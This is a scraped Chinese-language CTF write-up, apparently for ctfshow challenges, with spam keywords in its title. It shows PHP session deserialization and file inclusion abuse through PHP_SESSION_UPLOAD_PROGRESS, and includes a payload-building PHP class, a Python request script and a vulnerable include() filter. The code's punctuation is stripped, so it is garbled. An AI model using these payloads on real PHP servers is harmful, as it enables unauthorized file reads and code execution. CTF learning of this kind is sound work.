郑州网站建设彳汉狮网络,计算机应用软件开发,Wordpress文章数据,网站开发html的题原理详解 ctfshow web 263 ctfshow 新手杯 剪刀石头布
这里我们可以发现服务器使用的处理器为php_serialize#xff0c;与当前页面处理器不同#xff0c;在反序列化的时候会造成一些问题。同时cleanup配置没开#xff0c;关闭了session自动清理#xff0c;所以我们不需要…
原理详解 ctfshow web 263 ctfshow 新手杯 剪刀石头布
这里我们可以发现服务器使用的处理器为php_serialize与当前页面处理器不同在反序列化的时候会造成一些问题。同时cleanup配置没开关闭了session自动清理所以我们不需要进行条件竞争。并且我们可以通过session上传进度来传递我们的反序列化串。再看我们主要用到的类。 1.在线运行得到报文
!doctype html
html
body
form actionhttp://793869b1-2080-446e-9066-25f43d926b25.challenge.ctf.show/ methodPOST enctypemultipart/form-datainput typehidden namePHP_SESSION_UPLOAD_PROGRESS value123 /input typefile namefile /input typesubmit /
/form
/body
/html
2.接着上传文件抓包改数据包修改文件名为序列化串
?php
class Game{public $log;public function __construct(){$this-log /var/www/html/flag.php;}
}
$anew Game();
echo serialize($a);
#|O:4:Game:1:{s:3:log;s:22:/var/www/html/flag.php;}
? 或者用python 发包
import requests
url http://d41097cd-f0aa-47e1-b486-4bd8ec57324a.challenge.ctf.show/
sessid {PHPSESSID:succ3
}
data {PHP_SESSION_UPLOAD_PROGRESS:|O:4:Game:1:{s:3:log;s:22:/var/www/html/flag.php;}
}
file {file:1
}
req requests.post(urlurl,filesfile,datadata,cookiessessid)
print(req.text)利用session.upload_progress进行文件包含和反序列化渗透
PHP_SESSION_UPLOAD_PROGRESS进行文件包含 (详细步骤条件竞争) 1在php5.4之后php.ini开始有几个默认选项 1.session.upload_progress.enabled on 2.session.upload_progress.cleanup on 3.session.upload_progress.prefix “upload_progress_” 4.session.upload_progress.name “PHP_SESSION_UPLOAD_PROGRESS” 5.session.use_strict_modeoff 我们可以利用session.upload_progress将木马写入session文件然后包含这个session文件。不过前提是我们需要创建一个session文件并且知道session文件的存放位置。因为session.use_strict_modeoff的关系我们可以自定义sessionIDlinux系统中session文件一般的默认存储位置为 /tmp 或 /var/lib/php/session例如我们在Cookie中设置了PHPSESSIDflagphp会在服务器上创建文件/tmp/sess_flag即使此时用户没有初始化sessionphp也会自动初始化Session。并产生一个键值为prefixname的值最后被写入sess_文件里还有一个关键点就是session.upload_progress.cleanup默认是开启的只要读取了post数据就会清除进度信息所以我们需要利用条件竞争来pass写一个脚本来完2.过滤了. 我们必须包含无后缀文件利用session.upload_progress进行文件包含和反序列化渗透 php中唯一能控制的无后缀session 控制文件名字/tmp/sess_aaa
?php
if(isset($_GET[file])){$file $_GET[file];$file str_replace(php, ???, $file);$file str_replace(data, ???, $file);$file str_replace(:, ???, $file);$file str_replace(., ???, $file);include($file);
}else{highlight_file(__FILE__);
}